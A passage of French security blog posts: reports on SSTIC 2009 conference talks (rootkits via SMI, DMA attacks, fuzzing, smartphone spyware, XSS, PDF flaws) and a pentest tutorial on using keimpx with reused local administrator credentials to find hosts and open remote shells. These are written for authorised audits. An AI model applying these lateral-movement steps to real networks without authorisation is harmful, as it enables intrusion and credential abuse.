autour du fichier id Et n'oubliez pas, have fun http://www.secuobs.com/revue/news/207457.shtmlhttp://www.secuobs.com/revue/news/207457.shtml Secuobs.com : 2010-03-31 18:51:17 - MISSION Security - Premier jour de conf pour l'édition 2009 On retrouve les mêmes, les meilleurs et les meilleurs De bonnes confs en perspective Alors malgré un passage obligé à la crêperie et au pub, je ne pouvais pas manquer de faire quelques commentaires sur mon blog Matinée Bon, pour les 3 confs du matin, je vais résumer mieux que sur tous les autres blogs SSI, si si Écoutez Suite à un problème d'aiguillage à Massy, le train partira avec 20 minutes de retard 50 minutes de retard car nous prendrons les voies classiques à la place des voies TGV Après-midi Projet WOMBAT L'après midi commence avec une conférence intitulée Le point de vue d'un WOMBAT sur les attaques Internet par M DACIER, SYMANTEC Alors avant de commencer faut savoir qu'il cherche à recruter dans le sud de la France mouais, bah il fait beau même en Bretagne et qu'il recherche des ressources pour y installer des sensors On explique tout ça La présentation se découpe en 3 parties La collecte d'information L'analyse de l'information et l'enrichissement des données Les menaces causées par l'attaque On connaît les honeypots ou pots de miel mais ici, c'est juste une des sources utilisées pour la collecte d'infos En effet, ils utilisent aussi les crawlers et des flux externes Les honeypots sont basés sur SGNET, la nouvelle génération de ce type de solution SYMANTEC demande à des partenaires d'installer sur leur s machine s un sensor qui est une entité logicielle légère Le but est que ces sensors soient les plus nombreux et les mieux répartis possibles dans le monde pour des résultats d'autant plus pertinents Plus précisément, ces sensors disposent d'un automate à états finis constitué des chemins d'attaque connus Afin que les personnes de la communauté WOMBAT récupère les données, ils disponsent d'une passerelle qui sert notamment de proxy anonymiseur pour ses partenaires qui envoient leurs données On arrive à la deuxième étape où on effectue une analyse des codes malicieux On l'enrichit de données si on en dispose déjà On retrouve deux cas d'attaque les attaques connues qui seront facilement traitées et répertoriées les attaques non connues qui nécessitent d'analyser le shellcode de l'attaque long Malheureusement, la tendance étant à l'attaque ciblée, on se rend compte que les attaques non connues et spécifiques prennent de plus en plus d'importance Enfin, troisième étape l'étude des menaces On a vu de beaux graphiques et ça a l'air de fournir vraiment des résultats En tout cas, de donner des éléments de réponses sur les caractéristiques des attaques en cours ou à venir Par exemple, on a une vue sur les sources et cibles des attaques, leur mode opératoire, etc et tout plein de stats Le projet est initialement prévu sur 3 ans et donc pas encore terminé C'est pourquoi on attend d'autres résultats Mais l'idée de départ et les moyens mis à disposition semblent être bons et prometteurs Seulement, il faut que les données collectées soient plus nombreuses pertinentes et arriver à trier les bonnes données malgré la quantité croissante trouver un moyen d'automatiser l'analyse de code malicieux pour les attaques non connues Donc, à suivre Les attaques physiques Alors des projets tout à fait louables se déroulent pour la mise en place de l'informatique de confiance Très bien sauf que Loïc DUFLOT, speaker de la conférence Quelles limites pour l'informatique de confiance , commence par nous montrer qu'en débranchant et en rebranchant 5 fois de suite le câble d'alimentation de sa machine, il passe root à partir d'un compte démo non privilégié Là, on commence à se demander ce qu'il se passe et tout devient plus clair dans la suite Le problème, c'est que le BIOS n'est pas considéré à sa juste valeur Malheureusement, on sait déjà les dégâts que cela peut faire Outre le reboot de la machine par exemple avec un média amorçable, nous nous attaquons à un sujet plus complexe mais dont le résultat est sans équivoque Alors pour résumer, L DUFLOT va s'appuyer sur les routines de traitement de la SMI System Management Interface et les tables ACPI Advanced Configuration and Power Interface Les routines d'interruption ont des droits privilégiés et c'est de là que va venir l'escalade de privilèges La démarche consiste à injecter un rootkit qui se lancera une fois qu'on actionnera telle routine physique ex débrancher le câble d'alimentation Dans le même ordre d'idée, la dernière conf de la journée, Compromission physique par le bus PCI de Christophe Devine et Guillaume Vissian nous fournit un POC d'accès DMA à l'aide d'une carte PCI ou Cardbus Là encore, le résultat est au rendez-vous Cette présentation venait à point dans la continuité de celle de Damien Aumaître, l'année dernière, sur l'accès DMA mais via le port firewire cette fois ISO 27001 Déjà, de l'orga au SSTIC ça fait plaisir aussi L'approche de la conférence, c'est de voir de manière objective ou presque à quoi sert l'ISO 27001 avec un retour d'expérience du speaker, Alexandre Fernandez-Toro L'exposé était découpé en 5 questions A quoi ça sert l'ISO 27001 Est-ce que ça améliore vraiment la sécurité des systèmes d'information Comment reconnaître les compagnies qui veulent être certifiées pour le tampon et celles qui le souhaitent pour s'assurer qu'elles appliquent les bonnes pratiques en termes de SSI Quels sont les domaines impactés A quoi ça sert vraiment l'ISO 27001 C'était intéressant d'avoir un tel retour d'expérience et de se dire plusieurs fois, ça j'ai vu Notamment, le cas des entreprises qui rédigent les documents et effectuent les enregistrements juste avant l'audit J'ai vu un cas où la boîte avait fait en sorte de retarder l'audit de 6 mois Comme de par hasard, il y a eu un plein de choses mises en place les 6 derniers mois que c'est bizarre Non Regardons ce qu'il y avait eu de fait avant les 6 mois euh Je tiens un bon cas 1, un bon vainqueur même La conclusion de la conférence, c'est que l'ISO 27001 apporte réellement une sécurité mais pas de la façon à laquelle on pourrait s'attendre a priori La norme apporte vraiment aux compagnies qui ont déjà la volonté de faire de la sécurité C'est un travail à long terme et c'est seulement ainsi que des résultats concrets pourront être obtenus En l'occurrence, la norme permettra de rationnaliser, transversaliser et mutualiser la SSI de la compagnie En fait, c'est déjà pas mal Regardez les failles que vous trouvez dans un test d'intrusion interne Si vous creusez, vous vous rendez compte qu'il y a toujours une cause organisationnelle derrière la machine n'est assignée à aucun administrateur, les administrateurs en charges sont 2 pour 8278182718105 machines, etc On comprend pourquoi la machine n'est pas patchée depuis X mois qui a dit années quand bien même on a un WSUS correctement installé Par exemple, la transversalité permettra de couvrir la totalité du SI et évitera qu'une machine ne soit administrée que par elle-même http://www.secuobs.com/revue/news/207456.shtmlhttp://www.secuobs.com/revue/news/207456.shtml Secuobs.com : 2010-03-31 18:51:17 - MISSION Security - ça continue pour cette deuxième journée Déjà, certains ont du mal à se lever pour la première conf de la journée Bon, l'objectif est de faire un post moins long que pour le jour 1 Matinée Une matinée dédiée au fuzzing En guise d'introduction, on commence avec une conf d'Ari TAKANEN, Finlandais Il nous explique sa vision sur le sujet Fuzzing le passé, le présent et le futur Ici, le but, c'est pas de montrer des vulns mais vraiment de voir les techniques de fuzzing et l'évolution de cette technique Pour savoir quelle technique est la meilleure ou quelle sera celle qui nous conviendra le mieux, il faut prendre en compte trois critères les fonctionnalités offertes par le fuzzer sa robustesse ses performances L'idée est ici de considérer le modèle de fuzzing mutation, pre-generated scripted, block based, model based Aussi, on souhaite ici se coller au fuzz en cours et l'automatiser au mieux Par exemple, on cherchera à tenir compte des spécificités du protocole audité Pour terminer, Ari nous propose une checklist pour choisir ou concevoir son fuzzer La deuxième conf est proposée par Gabriel CAMPANA Elle fait la transition avec la précédente en présentant l'outil Fuzzgrind Ce dernier repose sur deux tools existants Valgrind et STP L'idée est que pour chaque nouveau protocole, c'est long de refaire son fuzzer C'est là que Fuzzgrind arrive Cet outil va travailler selon les 3 étapes suivantes exécution symbolique du programme audité prise en compte des conditions tous les cas création d'une équation pour chacune de ces conditions Des améliorations sont en cours mais déjà, l'outil a déjà trouvé des vulnérabilités dans des programmes comme readelf et swfextract en moins d'une heure Bravo La dernière conf sur ce thème du fuzzing est présentée par Laurent BUTTI On s'attaque maintenant - dans le contexte d'une architecture de convergence fixe-mobile - à des protocoles dits de sécurité comme IKEv2 ou EAP Et là où ça commence à faire peur, c'est qu'on trouve des failles là aussi En réalité ces protocoles apparaissent comme sûrs mais l'idée à retenir, c'est qu'il ne faut pas négliger les points sensés être sécurisés pendant les tests de tout genre car les failles vont provenir de l'ingénierie réseau et de l'implémentation de ses protocoles En résumé, don't trust any onething Source Mulder dans X-Files On enchaîne avec la présentation de Romain RABOIN sur la sécurité des smartphones Le speaker nous donne d'abord une vue d'ensemble des 4 OS les plus répandus sur le marché Symbian, iPhone, RIM Blackberry et Windows Mobile on va faire court il existe des failles pour tous et il est possible d'espionner les données appels, voix, via des logiciels appropriés on se focalise ici sur Windows Mobile et on essaie d'injecter le logiciel espion un fichier cab A priori, nous avons besoin d'un accès physique au téléphone, le temps d'injecter le programme Ensuite, on peut agir à distance Pour éviter cette nécessité, d'accès au téléphone de la victime, plusieurs solutions passent en revue et la gagnante consiste à utiliser le poste de travail avec qui le smartphone se synchronise Le schéma est alors simple avoir un accès au poste de travail de l'utilisateur ça n'a jamais posé problème programmer la synchronisation du logiciel espion avec le smartphone c'est tout Il faut quand même savoir que notre programme malicieux n'est pas signé une popup pourrait donc avertir d'utilisateur de son installation Mais la modification via rapi d'une stratégie de sécurité permet de remédier à ce problème Pour la conf suivante, on change vraiment de sujet pour parler de watermarking avec Teddy FURON dans une présentation intitulée le traçage de traitre en multimedia Comme le titre l'indique, il s'agit de retrouver le ou les personnes coupables d'avoir effectuer une copie illégale d'un multimédia propriétaire ouh pas bien Le défi est que les résultats puissent être suffisamment probants pour servir de preuve juridique On se rend compte que ce n'est pas simples mais que le tatouage donne de bons résultats en se basant sur les faiblesses de la perception humaine visuelle et sonore Au final, on remarque que si le fichier n'a pas été trop dégardé par les pirates, nous pourrons retrouver les attaquants en estimant des probabilités sur leur culpabilité La dernière conf de la matinée est présentée par Marie BAREL, juriste attitrée du SSTIC Elle nous présente un cas concret et que nous sommes amener à auditer régulièrement le vol d'information par un stagiaire ce que nous simulons pendant un pentest interne en l'occurrence Les définitions du vol fournies par les lois françaises ne tiennent pas en compte des données numérique car par vol, il devrait y avoir soustraction or un vol d'information n'implique pas que l'entreprise touchée n'a plus à ses dispositions les données volées par vol, on s'attend à voler un objet or les infomations représentent un objet immatériel On voit qu'il est difficile de se protéger des vols d'information par les employés Néanmoins, les chartes utilisateurs et NDA sont des premiers pas vers la protection Il faut savoir aussi que l'employé a obligation de loyauté envers son employeur Il n'empêche qu'une étude américaine affirme que 59pourcents des employés vole des données avant de partir de la compagnie Malheureusement, le contrat de travail ne prévoit pas toujours la confidentialité des informations après le départ d'une personne même sur une durée limitée Pire, le vol d'information est souvent repéré bien tard et la personne est certainement partie depuis Pire encore qui a déjà vu une société où tous les accès logiques et physiques ont été correctement désactivés au départ d'une personne En résumé, la loi n'est pas toujours adaptée au monde numérique et en voici la preuve Cela a pour conséquence des brèches dont les coupables tenteront de se servir Pour terminer, je reprends les tois mots de la fin du speaker responsabilisation, communication et contrôle Après-midi On commence avec Nicolas RUFF avec Pourquoi la sécurité est un échec Le titre annonce la couleur et avec la prés, on a presque envie de déprimer parce la sécurité, c'est notre raison de vivre surtout si on n'a pas de vie sociale à côté mais on apprendra pendant les rump sessions qu'il existe des copine de geek , OUF Bon, les problèmes majeurs datent d'il y a 30 ans selon notre speaker Internet, langage C, OUF, je n'étais pas né, c'est pas de ma faute J'arrête de déprimer et me dis que je vais quand même à faire de la sécu Lors de sa présentation, Nicolas nous montre les grosses failles Windows qui ont eu lieu et auxquelles il a participé et pas vraiment du neuf au final On ne peut que confirmer que les environnements Windows sont prenables en tests internes On explique dans la conf le manque de prévention dans la sécurisation des SI par les entraprises et malheureusement, elles finissent par en payer les conséquences Reste à convaincre ces entreprises de payer au cas où Sinon, je propose qu'on prenne une comm' de 1pourcents à chaque fois qu'on avait prévenu la boîte du problème en cours et qu'aucune correction n'a été apportée Avant les rumps, on a eu des présentations de projets ayant pour but la sécurisation d'un OS pour un utilisateur lambda qui doit être capable d'effectuer toutes les opérations de bureautique classiques mail, traitement de texte, e-commerce, c'est le projet SEC SI Les trois projets ont des approches différentes mais intéressantes On retrouve les principes de serveurs mandataires, de sandbox, de hardening, etc Pas de pronostic pour le moment mais on est obligé de marquer dans nos annales du SSTIC que sh, ça nous a bien fait shourrir Quant aux rumps, on avait de tout En tant qu'auditeur, j'ai surtout noté les outils IMA, reconet, evalSMSI et Netifera que je testerai dès que possible et même pourquoi pas, d'en faire un post PS raté, je n'ai pas réussi à faire un post plus court qu'hier je retente demain http://www.secuobs.com/revue/news/207455.shtmlhttp://www.secuobs.com/revue/news/207455.shtml Secuobs.com : 2010-03-31 18:51:17 - MISSION Security - Troisième et dernière journée Il manque pas mal de gens à 9h15 et même à 13h On peut en déduire que le social event s'est bien passé Une petite pensée aux collègues qui ont tourné pendant trois heures dans Rennes pour trouver des strip-teaseuses en vain Matinée J'ai bien aimé cette matinée qui a commencé par une conférence sur les XSS , présentée par Pierre GARDENAT L'objectif est ici de montrer les conséquences possibles de ces failles Déjà, OWASP - dont nous avons déjà parlé sur ce blog - classe ce type de vulnérabilités dans ses top vulnérabilités J'ai bien aimé l'exemple du site mySpace où on marque de ne pas taper les balises scripts Ouais mais on est des rebeeels Bonne conf dans l'ensemble avec des résultats sans équivoque mais j'aurais bien aimé qu'on détaille plutôt les attaques sous jacentes comme le DNS rebinding et le click jacking Cette dernière attaque est cependant expliquée par XMCO partners ici Nous continuons avec une présentation d'un petit gars de chez nous Il doit s'appeler Fred RAYNAL je crois ou quelque chose comme ça Alors il s'agit ici de montrer qu'après avoir décrié les éditeurs de texte Microsoft, puis OpenOffice, on s'attaque maintenant aux PDFs Alors des présentations ont déjà été faites comme on peut le voir ici En tant qu'exemple, on voit comment nous arrivons a tirer partie des failles relevées sur ce format de fichier pour récupérer les hashes windows de la machin De plus, Fred nous frounit ici d'e nouvelles pistes en cours d'exploitation car il s'avère que le sujet est vaste Snif, même PDF n'est pas sûr Quant à la troisième conf, j'ai beaucoup apprécié aussi il s'agissait du projet macaron à télécharger ici dont l'auteur est Philippe PRADOS C'est un programme malicieux qui s'utilise en tant que backdoor dans une application J2EE ex JBOss, JoNAS, etc Nous avons déjà traité ce genre de sujet sur ce blog et mon petit doigt me dit qu'on en entendra encore parlé prochainement La valeur ajoutée de l'outil présenté est qu'il apour but d'être furtif et apparemment, ça marche les commandes proposées nativement par la backdoor sont nombreuses des fonctions d'audits ont l'air intéressantes En tout cas, l'idée est bonne Je rajoute dans ma liste de tool à tester suite au SSTIC On continue avec un autre tool qui me paraît lui aussi intéressant IpMORPH par Guillaume PRIGENT Le but de cet outil est de dérouter les solutions de fingerprinting actives et passives en fournissant de faux résultats au niveau OS ex une OpenBSD à la place d'un Linux Un début de présentation longuet avec des beaux powerpoints mais qui n'apporte pas grand chose La suite est bien mieux et les résultats tout à fait satisfaisant Les démonstrations ont porté sur nmap, ring2, p0f et SinFP qui sont largement répandus Je me demande cependant ce que cela aurait donné avec des outils plus pointus comme AMAP et si des tests ont été réalisés avec nessuscmd J'aurais bien aimé vous parler des deux dernières confs de la matinée analyse dynamique depuis l'espace noyau avec le projet Kolumbo et GPGPU pour la cryptographie mais j'ai un peu décroché, non pas que les présentations n'étaient pas intéressantes, c'est juste que j'accusais le coup des 8 heures de sommeil en 2 nuits En même temps, ça peu paraître beaucoup pour certains Ok Alexandre et Yann, -100 au geek scoring Après-midi L'après-midi était courte avec deux présentations seulement ça sent déjà la fin ' Nous commençons avec une présentation de Martin Vugnoux sur les émanations compromettantes électromagnétiques des claviers filiaires On note de super slides Et blague mise à part, une présentation rondement menée et accrocheuse Le speaker nous montre qu'après avoir capté les signaux avec une super antenne et après avoir compris comment ça marchait, on arrive à connaître le caractère tapé sur le clavier à distance On ne va pas y aller par 4 chemins, ça semble marcher sur tous les supports clavier sans fil, de PDA et voire autres machines à clavier mais l'auteur nous laisse dans le suspens, mystère Quant à la pratique des attaques, on arrive à agir de 5 à plusieurs dizaines de mètres selon le support ciblé et les conditions de tests Bien joué Martin Pour terminer, la conférence invitée par D Chanderis Là, on sent la personne qui a de la bouteille Et ce n'est pas péjoratif, au contraire On sent la personne cultivée et surtout humaine et pourtant, elle travaille depuis des années dans la SSI tout n'est peut être pas encore perdu on n'est peut être pas encore dans la matrice L'idée est de dire, qu'il faut croire en les valeurs humaines et non sans provocation que l'humain est le maillon fort Alors effectivement, ce genre de propos fait réagir car je ne pense pas être le seul à prendre en compte le facteur humain dans les préconisations d'audit Il joue un rôle plus qu'essentiel dans le SI et forcément, on lui trouve des faiblesses Un exemple que j'ai en tête, c'est de stocker en clair des mots de passe très important sur sa machine Alors on me répondrait qu'on avait qu'à chiffrer son disque Je crois qu'on peut jouer au chat et à la souris et devant une telle personne, je fais preuve d'humilité, je m'incline Ce que je cherche à dire cependant à travers cet exemple, c'est que nous avons certainement des idées préconçues et même, je n'en doute pas mais il reste certaines choses difficiles à accepter comme dire que l'humain peut représenter le maillon fort donc Peut-être s'agit-il seulement de laisser le temps à la réflexion mais comme dit mon philosophe préféré à moi, l'important, c'est d'y croire Je terminerai en disant que je n'ai pas été déçu cette année par le SSTIC, au contraire et je vous invite à vous rendre sur le site d'une personne qu'on ne présente plus ici Il ne me reste plus qu'à vous dire à l'année prochaine j'espère http://www.secuobs.com/revue/news/207454.shtmlhttp://www.secuobs.com/revue/news/207454.shtml Secuobs.com : 2010-03-31 18:51:17 - MISSION Security - De retour pour un post qui ne devrait pas manquer d'intérêt Notre mission du jour est de trouver tous les postes ayant un compte administrateur local connu Dans notre quête de prise de contrôle de l'AD, ceci devrait être bien utile Contexte rapide Lors d'un test d'intrusion interne, le scénario ressemble souvent à ça 1 J'ai un poste utilisateur et j'ai un compte utilisateur je deviens administrateur local 2 En général, tous les postes de travail ou presque ou du moins un bon groupe ont le même mot de passe pour le compte administrateur local nous pouvons donc nous connecter avec ce compte sur d'autres PCs 3 On récupère tous les comptes du domaine sur tous les postes en priant que l'un d'entre eux contient un compte ayant les droits Admin du domaine Des outils nous permettent de connaître les comptes recherchés C'est pas mal tout ça mais ça prend du temps, ce n'est pas très ciblé et donc pas très discret On admet donc que le compte administrateur local est en notre possession vous savez autant que moi comment faire et alors, c'est là qu'entre en jeu l'outil keimpx Démonstration Installation Voici les étapes à suivre pour installer l'outil 1 Commencer par le télécharger, c'est un programme python 2 Si vous le lancez tel quel, vous aurez certainement des erreurs Vous aurez donc sûrement besoin d'installer py2exe que vous pouvez trouver ici 3 ça ne marche toujours pas Normaaaaaaaaaal En réalité, il vous faudra télécharger les classes Python Impacket de Core Impact hé oui, le tool est d'eux Tout est ici Cette fois, vous n'avez plus d'excuse si ça ne marche pas On passe à l'action Pour le lancer, c'est très simple Vous pouvez soit cibler une seule machine avec -t adresse_cible ou une liste de machine avec -l fichier_texte_avec_liste Ensuite, vous utiliser l'option -U utilisateur -P mot_de_passe NB Vous pouvez aussi utiliser les hashes pratique Vous pourrez voir par vous mêmes les résultats de l'outil mais avant de voir ces possibilités, j'ai ajouté ma petite touche personnelle alors mieux que des mots, illustration Petite touche personnelle J'avais deux choses à reprocher à l'outil en l'essayant une première fois sachant qu'en audit interne, nous sommes souvent confrontés à un grand nombre de poste de travail alors essayons de gagner en rapidité et en efficacité En effet quand on choisit de donner une liste d'hôte en paramètre, on ne peut utiliser de plages d'adresse de type 1721610-172164255 et je ne me vois pas écrire toutes les adresses une à une dans un fichier Ou alors, je n'ai pas vu la bonne syntaxe keimpx va tester les credentials pour toutes les machines de la listes et c'est assez long surtout s'il y en a beaucoup Alors à ces deux points, j'ai rédigé un petit script oui oui, j'aurais certainement pu trouver tout fait sur le Net mais un peu de scripting à la bourrin, càd tout ce que je sais faire, fait du bien de temps en temps mon script prend en paramètre un fichier texte contenant des plages d'adresses et ou des adresses uniques pour en faire une liste d'hôtes unique que keimpx saura gérer dans cette liste, je ping les machines pour connaître celles qui répondront Les autres ne seront alors pas traitées par keimpx et là, on gagne du temps J'ai donc une liste de machines optimisée dans le sens où elle devrait être exhaustive sans avoir eu à taper 298361 adresses IP à la main, et en ne gardant que celles qui répondent Pour terminer, mon script ne fait que lancer keimpx avec cette liste et les credentials sensé être connus hypothèse Je parle de keimpx depuis tout à l'heure mais quelles sont ces possibilités en fait Petite démonstration Keimpx en action Une fois le traitement de fichier le pinging effectué, Keimpx est lancé Il nous fournit la liste des machines ayant le couple login mdp connu pour l'admin local 2 adresses sont matchées ici La machine XXXXXXXXX136 est ma machine donc aucun intérêt On s'attaquera donc à la machine XXXXXXXXX219 Ensuite, chose intéressante, keimpx nous propose un shell moi je dis oui On nous demande donc de choisir la machine cible, ici la deuxième Puis, les credentials à utiliser Il n'y a pas le choix tapez 1 puis entrée Ensuite, les commandes et possibilités sont nombreuses En voici quelques exemples Naviguer sur les disques via les shares shares Puis choisissez le disque souhaité, ici C Lister les utilisateurs ainsi que la politique de sécurité sur les comptes extrait users Obtenir un shell shell Bon bah ça, c'est fait Conclusion L'engouement pour les applications WEB et tests externes fait que de nombreux outils existent dans ce sens Keimpx touche un autre domaine où les outils sont moins présents Ils ne permettra pas nécessairement de faire plus de chose qu'avant mais il nous servira certainement de couteau suisse de tests internes en nous simplifiant les choses Maintenant à vous de jouer pour le tester et découvrir ces autres fonctions Have fun http://www.secuobs.com/revue/news/207453.shtmlhttp://www.secuobs.com/revue/news/207453.shtml